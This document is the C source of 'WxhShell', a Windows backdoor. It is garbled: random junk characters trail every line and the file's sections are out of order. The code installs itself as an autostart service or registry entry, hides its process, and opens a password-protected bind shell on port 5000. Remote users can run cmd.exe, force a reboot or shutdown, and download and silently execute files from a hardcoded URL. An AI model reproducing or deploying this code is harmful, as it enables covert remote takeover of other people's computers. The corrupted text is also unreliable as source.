    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9?X8H1  
    if(Boot(SHUTDOWN)) FKZ'6KM&A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d| #&j. "  
    else { |d$4Fu(M~  
    closesocket(wsh); 6ChFsteGFr  
    ExitThread(0); r7)qr%n  
    } s\+| ql  
    break; mT:NC'b<9  
    } IOA2/ WQu  
  // 获取shell M"Dv -#f  
  case 's': { L4DT*(;!E  
    CmdShell(wsh); f=k_U[b4>  
    closesocket(wsh); 0$A^ .M;  
    ExitThread(0); g.Tc>?~  
    break; (Bq^ D9  
  } l1bkhA b  
  // 退出 Y~ xo=v(  
  case 'x': { lArKfs/   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]d67 HOyK  
    CloseIt(wsh); 1=Z!ZY}}e  
    break; xi51,y+(5  
    } y'aK92pF:  
  // 离开 cX!C/`ew>  
  case 'q': { WNY:HH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NnH]c+  
    closesocket(wsh); NSa6\.W)  
    WSACleanup(); zO`4W!x&  
    exit(1); @(bg#  
    break; [#=IKsO'R6  
        } ZDG~tCh=@  
  } l`uI K.  
  } hkb&]XWi[  
9tX+n{i  
  // 提示信息 Zg$S% 1(Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i;rcg d  
} H;R~d%!b  
  } 6hMKAk  
-"NK"nb  
  return; #c!rx%8I  
} Lqdapx"Z_  
}DQTy.d;P  
// shell模块句柄 78 w  
int CmdShell(SOCKET sock) U9ZuD40\  
{ Eug RC  
STARTUPINFO si; tr5j<O  
ZeroMemory(&si,sizeof(si)); SRtw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jz}`-fU`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VKkvf"X  
PROCESS_INFORMATION ProcessInfo; QM![tZt%;  
char cmdline[]="cmd"; o\F>K'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B0U(B\~Y  
  return 0; Bn9#F#F<  
} m]vS"AdX  
X%)~i[_DV  
// 自身启动模式 8>@JW]  
int StartFromService(void) jST4O"DjM  
{ #dKy{Q3he  
typedef struct eF]8Ar1  
{ R# T 6]  
  DWORD ExitStatus; -)Bvx>8fq-  
  DWORD PebBaseAddress; MVnN0K4  
  DWORD AffinityMask; > 23$_'2  
  DWORD BasePriority; *|<T@BXn  
  ULONG UniqueProcessId; IU<lF)PF$  
  ULONG InheritedFromUniqueProcessId; (i L*1f   
}   PROCESS_BASIC_INFORMATION; 8v z h5,U  
D Qz+t  
PROCNTQSIP NtQueryInformationProcess; k3H0$1  
DF_wMv:>^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =&6sU{j*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .%y'q!?  
;>>n#8`  
  HANDLE             hProcess; Th$Z9+()  
  PROCESS_BASIC_INFORMATION pbi; ?"*JV1 9  
9/! 1J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <#J5.I 1  
  if(NULL == hInst ) return 0; OLPY<ax  
$[}EV(#y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F~i ~%f,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4(s HUWT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d!w3LwZ  
J$sBfO D  
  if (!NtQueryInformationProcess) return 0; 1 _Oc1RM   
PWZd<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V y$*v  
  if(!hProcess) return 0; 4e/!BGkAS  
xL1Li]fM!'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S.4+tf 7+  
iMt3h8  
  CloseHandle(hProcess); rrr_{d/  
d|oO2yzWv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )l$}plT4  
if(hProcess==NULL) return 0; $'I&u  
D HT^.UM28  
HMODULE hMod; /2zan}  
char procName[255]; Pw| h`[h  
unsigned long cbNeeded; nj0sh"~+  
8 eK8-R$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $&&E[JY  
2mn AL#  
  CloseHandle(hProcess); ^P^%Q)QXl  
e*qGrg(E  
if(strstr(procName,"services")) return 1; // 以服务启动 M,S'4Sz uk  
$%q=tn'EX  
  return 0; // 注册表启动 nX 9]dz  
} m0 As t<u  
_crhBp5@T3  
// 主模块 y/y~<-|<@  
int StartWxhshell(LPSTR lpCmdLine) D/f 4kkd  
{ MW6z&+Z  
  SOCKET wsl; DrKB;6  
BOOL val=TRUE; H)i|?3Ip  
  int port=0; "5Y6.$Cuf!  
  struct sockaddr_in door; ?!&%-R6*  
Vn4wk>b}$2  
  if(wscfg.ws_autoins) Install(); :u./"[G  
GE(~d '  
port=atoi(lpCmdLine); 3PGAUQR#"q  
_<LL@IX  
if(port<=0) port=wscfg.ws_port; @U18Dj[  
MNWI%*0LO  
  WSADATA data; BH1h2OEe#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w^ut,`yW R  
oR&z,%0wMK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q8%_q"C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HB8s[]A:D  
  door.sin_family = AF_INET; fE+zA)KX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7n6g;8xE  
  door.sin_port = htons(port); k1q/L|')  
oDV6[e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;o3gR4u_L  
closesocket(wsl); @]vY[O!&;  
return 1; >i,_qe?V:w  
} 1*9.K'  
&K\80wGK  
  if(listen(wsl,2) == INVALID_SOCKET) { tLWw< )t  
closesocket(wsl); Bj1%}B  
return 1; R ,qQC<  
} ];LFv5"  
  Wxhshell(wsl); 0mujf  
  WSACleanup(); /@k#tdj  
@wgd 3BU  
return 0; ]~I+d/k d  
~_vSMX  
} )rK2%\Z  
\~ChbPnc  
// 以NT服务方式启动 \"oZ\_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x{SlJ%V  
{ x_nwD"   
DWORD   status = 0; WJOoDS!i  
  DWORD   specificError = 0xfffffff; (MI>7| ';  
\4q|Qno8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h<U?WtWT-p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n(J>'Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1j$\ 48Z  
  serviceStatus.dwWin32ExitCode     = 0; O`9c!_lis  
  serviceStatus.dwServiceSpecificExitCode = 0; gHLI>ew*QR  
  serviceStatus.dwCheckPoint       = 0; ^PTf8o  
  serviceStatus.dwWaitHint       = 0; 3&+dyhL'w  
din,yHu~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?b,>+v-w::  
  if (hServiceStatusHandle==0) return; &2y4k"B&)  
-!Myw&*\V  
status = GetLastError(); 93HVx#  
  if (status!=NO_ERROR) P>C'? 'Q7  
{ +gX,r$bX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L'e^D|  
    serviceStatus.dwCheckPoint       = 0; &/? Ct!_  
    serviceStatus.dwWaitHint       = 0; l~rj7f;  
    serviceStatus.dwWin32ExitCode     = status; =EP`,zqn$9  
    serviceStatus.dwServiceSpecificExitCode = specificError; {h@\C|nF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c4Zpt%:}h  
    return; TwPQ8}pj?  
  } sQa;l]O:NC  
[34N/;5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JcR|{9ghT  
  serviceStatus.dwCheckPoint       = 0; [i`  
  serviceStatus.dwWaitHint       = 0; LpU}.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HU $"o6ap  
} ;o!p9MEpz;  
CJ\a7=*i  
// 处理NT服务事件,比如:启动、停止 |#@7$#j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U=.PL\  
{ G;l7,1;MU:  
switch(fdwControl) z l@^[km{  
{  2h   
case SERVICE_CONTROL_STOP: Mj MDD  
  serviceStatus.dwWin32ExitCode = 0; KGy 3#r;Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G%erh}0~  
  serviceStatus.dwCheckPoint   = 0; ,Z@#( =f  
  serviceStatus.dwWaitHint     = 0; ( 2HM "Pd  
  { {Yj5Mj|#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y&zFS4"x  
  } [tpiU'/Zl  
  return; @f-X/q]P  
case SERVICE_CONTROL_PAUSE: !CGX\cvW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "tz6O0D  
  break; \Fz9O-jb4  
case SERVICE_CONTROL_CONTINUE: 8wsU`40=Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0>sa{Z  
  break; 9GD0jJEu  
case SERVICE_CONTROL_INTERROGATE: {cm?Q\DT  
  break; _RbfyyaN  
}; =X4Fn^w"4O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y@+Rb  
} fjRVYOG#  
/MF 7ZvN.  
// 标准应用程序主函数 k&dXK  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G]'ah1W  
{ Hb=#`  
jSY[Y:6md  
// 获取操作系统版本 VsQ|t/|#  
OsIsNt=GetOsVer(); ] 3{t}qY$A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5*YoK)2J  
ENTcTrTn  
  // 从命令行安装 aOzIo-  
  if(strpbrk(lpCmdLine,"iI")) Install(); iS$[dC ?N  
>2s4BV[(  
  // 下载执行文件 G?W:O{n3  
if(wscfg.ws_downexe) { Rd#R}yA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y!<m8\  
  WinExec(wscfg.ws_filenam,SW_HIDE); W{}$c`,R  
} P1eSx#3bR  
+F; 2FD$  
if(!OsIsNt) { Cr5ND\  
// 如果时win9x,隐藏进程并且设置为注册表启动 4[gmA  
HideProc(); +:FXtO>n"  
StartWxhshell(lpCmdLine); lMFR_g?r  
} [3m\~JtS  
else 6 8tyWd}  
  if(StartFromService()) <Ua~+U(FR0  
  // 以服务方式启动 3B1\-ry1M  
  StartServiceCtrlDispatcher(DispatchTable); pDR~SxBXr  
else {"ST hTZ  
  // 普通方式启动 )eyzHB,H  
  StartWxhshell(lpCmdLine); yLa@27T\A  
hd)Jq'MCS  
return 0; L/8oqO|  
} *()['c#CC  
X1^VdJE  
TA[%eMvA  
KL&/Yt   
=========================================== 2 *NPK}  
Rt8[P6e"q  
]Z!Y *v  
6 4_}"fU  
C`.YOkpj  
nrl?<4 _  
" ]Ur/DRNS  
[b++bCH3  
#include <stdio.h> |qNe_)  
#include <string.h> fs! dI  
#include <windows.h> l~r;G rd/5  
#include <winsock2.h> C]L)nCOBX  
#include <winsvc.h> hfwJZ\_60  
#include <urlmon.h> )CFJ Xc:  
f8Hq&_Pn   
#pragma comment (lib, "Ws2_32.lib") ~apt, hl  
#pragma comment (lib, "urlmon.lib") b'z $S+  
6FB 0g8  
#define MAX_USER   100 // 最大客户端连接数 *rq*li;  
#define BUF_SOCK   200 // sock buffer c^r8<KlI9  
#define KEY_BUFF   255 // 输入 buffer z$1RD)TQB  
fbq$:Q44  
#define REBOOT     0   // 重启 8+'}`  
#define SHUTDOWN   1   // 关机 ;(NTzBq!1  
Z0<Vss  
#define DEF_PORT   5000 // 监听端口 kF|$oBQ  
PL:(Se%  
#define REG_LEN     16   // 注册表键长度 '.Y,VJaL  
#define SVC_LEN     80   // NT服务名长度 %KQ1{"  
g257jarkMF  
// 从dll定义API iuV4xyp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :\;9y3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \Id8X`,eD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b<a3Ue%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mA(kq   
8SjCU+V  
// wxhshell配置信息 UFB|IeX?q  
struct WSCFG { @yTu/U  
  int ws_port;         // 监听端口 gfL :SP8  
  char ws_passstr[REG_LEN]; // 口令 K$S0h-?9]O  
  int ws_autoins;       // 安装标记, 1=yes 0=no M^kaik  
  char ws_regname[REG_LEN]; // 注册表键名 qYoW8e   
  char ws_svcname[REG_LEN]; // 服务名 c~T {;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pp?P9s {  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q7+WV`&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KMhrw s{&B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s\*p|vc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $xu2ZBK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | R,dsBd  
PF4[;E S'  
}; UynGG@P@  
2"6L\8hd2  
// default Wxhshell configuration oiyvKMHz7  
struct WSCFG wscfg={DEF_PORT, QytO0K5  
    "xuhuanlingzhe", ?1\5X<|,  
    1, BVal U  
    "Wxhshell", ( fFrX_K]  
    "Wxhshell", |gk*{3~y  
            "WxhShell Service", |.; N_i  
    "Wrsky Windows CmdShell Service", ?qQ{]_q1&.  
    "Please Input Your Password: ", 3U6QYD55]]  
  1, G"r{!IFL  
  "http://www.wrsky.com/wxhshell.exe", tY_=[6?Zu  
  "Wxhshell.exe" *JOK8[Qn  
    }; 1RkN^FZOxq  
Trirb'qO  
// 消息定义模块 m-{DhJV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NZGO8u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w hI4@#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R&uPoY,f  
char *msg_ws_ext="\n\rExit."; 7] y3<t  
char *msg_ws_end="\n\rQuit."; /qQx~doK  
char *msg_ws_boot="\n\rReboot..."; | 6AR!  
char *msg_ws_poff="\n\rShutdown..."; Gb^63.}  
char *msg_ws_down="\n\rSave to "; i3 js'?7E  
ZRhk2DA#FF  
char *msg_ws_err="\n\rErr!"; )=)N9CRy  
char *msg_ws_ok="\n\rOK!"; {tVA(&\<  
jnV#Q ;  
char ExeFile[MAX_PATH]; Gr({30"8  
int nUser = 0; q~qz^E\T  
HANDLE handles[MAX_USER]; sD3Ts;k  
int OsIsNt; }%KQrlbHJl  
"|6(.S+o  
SERVICE_STATUS       serviceStatus; >D=X Tgqqq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T#&1q]P1F  
frbd{o  
// 函数声明 S(=@2A+;  
int Install(void); P.(UbF d'  
int Uninstall(void); n l5+#e*\  
int DownloadFile(char *sURL, SOCKET wsh); %\it4 r3  
int Boot(int flag); $I5|rB/4?  
void HideProc(void); &Hw:65O  
int GetOsVer(void); ^aaj=p:c V  
int Wxhshell(SOCKET wsl); 4H;g"nWqO  
void TalkWithClient(void *cs); `_ ^I 2  
int CmdShell(SOCKET sock); P#pb48^-  
int StartFromService(void); @#wG)TA  
int StartWxhshell(LPSTR lpCmdLine); HtN: v  
@Hj]yb5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  o]0E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .Z 7t E?  
,5 8-h?B0v  
// 数据结构和表定义 T:j41`g%s  
SERVICE_TABLE_ENTRY DispatchTable[] = i(A `'V8GY  
{ <,Gjo]z  
{wscfg.ws_svcname, NTServiceMain}, [?z;'O}y  
{NULL, NULL} ['(qeS@5O  
}; E.#JCO|(1  
eI|FrBq%  
// 自我安装 z{.&sr>+v  
int Install(void) D*L@I@ [  
{ nR%w5oe  
  char svExeFile[MAX_PATH]; tdU'cc?M  
  HKEY key; ,,FhE  
  strcpy(svExeFile,ExeFile); c'$y_]  
Ez <YD  
// 如果是win9x系统,修改注册表设为自启动 a[t"J*0  
if(!OsIsNt) { V xN!Ki=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i@{b+5$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tu:lIy~A  
  RegCloseKey(key); j\#)'>"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C4E*q3[Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O-AC$C[d  
  RegCloseKey(key); aeMj4|{\  
  return 0; E:}s 6l  
    } Njo.-k  
  } j+.E#:tu"  
} uToi4]w"y  
else { } %3;j5 ;6  
9 'X"a  
// 如果是NT以上系统,安装为系统服务 l2#~   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6hcs )X7m  
if (schSCManager!=0) #E4oq9{0*W  
{ ^g'uR@uU  
  SC_HANDLE schService = CreateService N]BH67<  
  ( wKW.sZ!S1  
  schSCManager, P EzT|uY  
  wscfg.ws_svcname, UeUOGf ,  
  wscfg.ws_svcdisp, Na\&}GSf^  
  SERVICE_ALL_ACCESS, jcePSps]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "97sH_ ,  
  SERVICE_AUTO_START, f`}u9!jVR  
  SERVICE_ERROR_NORMAL, jp-(n z\  
  svExeFile, 9aID&b +  
  NULL, z#5qI',L  
  NULL, !ggHLZRlz  
  NULL, x!4<ff.  
  NULL, 2Z(?pJyDM  
  NULL $SLyI$<gP  
  ); E]Cm#B  
  if (schService!=0) m=`V  
  { PtjAu  
  CloseServiceHandle(schService); ubl Y%{"  
  CloseServiceHandle(schSCManager); j%!xb><  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p,4S?c r>a  
  strcat(svExeFile,wscfg.ws_svcname); CyS.GdyP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AfW:'>2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 'mU\X!- 4<  
  RegCloseKey(key); =+e;BYD#!  
  return 0; F0xm% ?  
    } "t{D5{q|[k  
  } p=Q o92 NH  
  CloseServiceHandle(schSCManager); 2$Z4 >!  
} ZB}zT9JaE  
} (Q"s;g  
3qfQlqJ&3  
return 1; 7n#Mh-vq  
} i piS=  
]{-ib:f~  
// 自我卸载 J<L"D/  
int Uninstall(void) uN&49o  
{ `)jAdad-s  
  HKEY key; l) Cg?9  
g C@=]Y  
if(!OsIsNt) { 1 RyvPP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o`jVd,aj  
  RegDeleteValue(key,wscfg.ws_regname); n%dh|j2u  
  RegCloseKey(key); (.M &nN'Ce  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gA+@p'XnR  
  RegDeleteValue(key,wscfg.ws_regname); Jl) Q #  
  RegCloseKey(key); \p izVt  
  return 0; cT JG1'm  
  } ( Q k*B  
} c}7Rt|`c  
} r-}C !aF]  
else { }8'bXG+  
i/DUB<>p6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }5gQ dj[Y  
if (schSCManager!=0) BfvvJh_  
{ p6{8t}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jivGkIj!8  
  if (schService!=0) O ~bzTn  
  { v3/G.B@=  
  if(DeleteService(schService)!=0) { x8rp Z  
  CloseServiceHandle(schService); }!vJ+  
  CloseServiceHandle(schSCManager); ,|R\ Z,s  
  return 0; !uHVg(}  
  } "qY_O/Eg]]  
  CloseServiceHandle(schService); sr$JFMTO11  
  } !_1RQ5]^  
  CloseServiceHandle(schSCManager); vP&JL~  
} d>Np; "  
} = :\o/)+  
_AVP1  
return 1; ~p/1 9/  
} #c1c%27cmm  
oGZ%w4T  
// 从指定url下载文件 lGN{1djT  
int DownloadFile(char *sURL, SOCKET wsh) [)p>pA2GZj  
{ )6-!,D0db  
  HRESULT hr; }W"/h)q  
char seps[]= "/"; [RUYH5>Ik  
char *token; uHO>FM,  
char *file; a^GJR]] {  
char myURL[MAX_PATH]; ]$WwPDZ  
char myFILE[MAX_PATH]; $]]|#}J  
<bOi}  
strcpy(myURL,sURL); $~.'Tnk)  
  token=strtok(myURL,seps); "PY&NL?  
  while(token!=NULL) ^{fA:N=  
  { &Ukh  
    file=token; _"c?[n  
  token=strtok(NULL,seps); PeB7Q=d)K1  
  } ER$qL"H U  
+dSO?Y]  
GetCurrentDirectory(MAX_PATH,myFILE); Xkb\fR6<K  
strcat(myFILE, "\\"); -Fs<{^E3j  
strcat(myFILE, file); 9r hl2E  
  send(wsh,myFILE,strlen(myFILE),0); eB*0})  
send(wsh,"...",3,0); _0e;&2')  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w+3-j  
  if(hr==S_OK) v|u[BmA)*k  
return 0; m&8'O\$  
else 3At%TA:  
return 1; niJtgK:H^  
Tf?|*P  
} 3N5b3F  
;V\l, u  
// 系统电源模块 s8 0$   
int Boot(int flag) ":N E I  
{ uz;z+Bd^  
  HANDLE hToken; <2{-ey]  
  TOKEN_PRIVILEGES tkp; ?T <2Cl'C  
u IGeSd5B  
  if(OsIsNt) { dBMr%6tz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r5g:#mF"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #Rcb iV*M  
    tkp.PrivilegeCount = 1; Ves x$!F#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; jpek=4E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P+nd?:cz  
if(flag==REBOOT) { [oh0 )wzB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E#m|Sq  
  return 0; RW04>oxVn  
} wm/=]*jpK  
else { h"DxgG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1x~dsM;q  
  return 0; a6i%7Om  
} z 8\z`#g!  
  } '&hk?  
  else { 3=~0m  
if(flag==REBOOT) { 8%D 2G i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {:0TiOP5x  
  return 0; &`IC 3O5  
} YE5B^sQ1  
else { q t!0#z8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ryrvu1 k  
  return 0; Zf~Z&"C)  
} ;X XB^,  
} #?EmC]N7  
48Z0aA~+  
return 1; CDU$Gi  
} %qqX-SF0C  
.~t.B!rVSB  
// win9x进程隐藏模块 {gwJ>]z"e  
void HideProc(void) Xe7/  
{ YA[\|I33  
w[X/|O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qmx4hs8sh  
  if ( hKernel != NULL ) s/0S]P]}f  
  { W2F*+M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sV`!4 u7%}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S)$iHBx{  
    FreeLibrary(hKernel); E\Et,l#|LY  
  } (6#, $Ze   
YZyV   
return; -\V!f6Q  
} ,`O.0e4pn  
QpZ CU]  
// 获取操作系统版本 dF<GuS;l5  
int GetOsVer(void) 6./3w&D;  
{ qzt.k^'-^  
  OSVERSIONINFO winfo; KrDG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); # %$U-ti  
  GetVersionEx(&winfo); kI|7o>}<   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /pS Y~*  
  return 1; nqMXE82  
  else z[~ph/^  
  return 0; E6Uiw]3  
} O4.`N?Xq  
9`X}G`  
// 客户端句柄模块 7`_`V&3s  
int Wxhshell(SOCKET wsl) :[C"}m R1  
{ o!-kwtw`l  
  SOCKET wsh; cA8A^Iv:0  
  struct sockaddr_in client; GI _.[  
  DWORD myID; ]w;!x7bU(  
9 m`VIB  
  while(nUser<MAX_USER) ]]^eIjg>a6  
{ 6k-  
  int nSize=sizeof(client); l1I\khS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aoP=7d|K/  
  if(wsh==INVALID_SOCKET) return 1; QxI^Bx  
<tx`#,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *'ffMnSZ  
if(handles[nUser]==0) gql^Inx<  
  closesocket(wsh); x^]J^L45  
else vnS;T+NZSC  
  nUser++; sRkPXzK  
  } x=%wP VJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tEFbL~n  
b[s=FH]#N  
  return 0; >#Ue`)d`aY  
} u]uZc~T  
0 F-db  
// 关闭 socket &6q67  
void CloseIt(SOCKET wsh) Rw!wfh_+  
{ I92orr1  
closesocket(wsh); &cHA xker  
nUser--; F+ Q(^Nk  
ExitThread(0); thK4@C|X4  
} fx3oA}  
3 =-XA2zJ  
// 客户端请求句柄 ]r.95|V*  
void TalkWithClient(void *cs) wMvAm%}+  
{ #)b0&wyW6i  
Pof]9qE-y  
  SOCKET wsh=(SOCKET)cs; }LTyXo  
  char pwd[SVC_LEN]; T7qE 2  
  char cmd[KEY_BUFF]; O'[r,|Q{  
char chr[1]; ;*[ oi  
int i,j; *aaK_=w  
&r0U9J  
  while (nUser < MAX_USER) { M>g%wg7Ah  
i8|0zI  
if(wscfg.ws_passstr) { bTepTWv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .6HHUy  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $3)Z>p   
  //ZeroMemory(pwd,KEY_BUFF); e.VR9O]G  
      i=0; -ztgirU  
  while(i<SVC_LEN) { _oAWj]~rO  
&Fy})/F3v  
  // 设置超时 Bh ,GQHJ  
  fd_set FdRead; X-k$6}D  
  struct timeval TimeOut; Mp,aQ0bNS  
  FD_ZERO(&FdRead); %ki^XB86  
  FD_SET(wsh,&FdRead); !si}m~K!_  
  TimeOut.tv_sec=8; Q.i_?a  
  TimeOut.tv_usec=0; @aY>pr5!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HyGu3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EAZLo;  
Z%$ tV3a?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fb|%)A=  
  pwd=chr[0]; /0z#0gNp  
  if(chr[0]==0xd || chr[0]==0xa) { y*H rv  
  pwd=0; HVH<S  
  break; 7v]9) W=y  
  } 8d1r#sILI  
  i++; , G9{:  
    } >e M> Y@8=  
N.F //n  
  // 如果是非法用户,关闭 socket ]o2jS D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5-2#H?:U  
} MN<uIqG  
CX3yIe~u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :J;&Z{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \w@V7~vA  
XpIl-o&re  
while(1) { x=YV*  
Vqp 3'=No  
  ZeroMemory(cmd,KEY_BUFF); N'n\_x  
:878q TB  
      // 自动支持客户端 telnet标准   KvY1bMU!  
  j=0; *|Bt!  
  while(j<KEY_BUFF) { J u"K"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~sMEfY,p  
  cmd[j]=chr[0]; ^t}8E2mq  
  if(chr[0]==0xa || chr[0]==0xd) { Gy6PS{yY6t  
  cmd[j]=0; &ieb6@RO`Q  
  break; " 3tk"#.#  
  } ;Z!x\{- L  
  j++; 9^g?/8  
    } I4(z'C  
EZJ[+ -Q;  
  // 下载文件 O)%s_/UX  
  if(strstr(cmd,"http://")) { *_@t$W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -=4{X R3  
  if(DownloadFile(cmd,wsh)) iCIU'yI  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ye]-RN/W  
  else [yx8?5  
